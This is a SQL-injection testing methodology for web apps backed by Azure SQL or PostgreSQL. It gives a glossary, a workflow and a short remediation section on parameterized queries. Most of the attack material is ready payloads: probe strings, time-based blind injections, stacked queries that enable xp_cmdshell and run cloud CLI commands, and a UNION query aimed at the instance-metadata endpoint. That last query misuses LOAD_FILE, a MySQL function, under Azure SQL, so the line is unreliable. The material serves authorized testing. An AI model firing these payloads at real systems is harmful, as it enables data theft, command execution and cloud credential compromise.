OWASP SQL Injection — Offensive Testing Methodology
When to Use
- When performing web application security testing on applications backed by Azure SQL or PostgreSQL.
- When validating if database input vectors are properly parameterized.
- When investigating potential data leakage via injection vulnerabilities.
- When performing bug bounty hunting or red team assessments against Azure-hosted APIs.
Key Concepts
| Term | Definition |
|---|---|
| Error-Based SQLi | Triggering database errors to reveal information about the database structure |
| UNION-Based SQLi | Using the UNION operator to combine the results of the original query with an attacker-defined query |
| Blind SQLi | Exploiting vulnerabilities where the database does not return data directly, using boolean or time-based inference |
| Parameterization | The practice of using prepared statements to separate SQL code from user data, preventing injection |
Quick Workflow
- Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters)
- Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
- Identify database type and enumerate schema
- Exploit to extract data or escalate privileges where in scope
- Document findings and suggest remediation via parameterization
Detection & Exploitation
Basic Probes
' " ; -- /* */ # ) ( + , \ %
' OR '1'='1
" OR "1"="1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Time-Based Blind (Azure SQL / PostgreSQL)
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL / Azure SQL
' WAITFOR DELAY '0:0:5' --
Azure-Specific Attack Paths
-- Azure SQL Managed Instance RCE (if misconfigured)
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'az vm list'; --
-- Instance metadata exfiltration via LOAD_FILE (if applicable)
' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --
Remediation Reference
Always use parameterized queries or ORM-safe patterns:
// Safe Pattern: replacements
sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })
// Safe Pattern: tagged template literal
await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`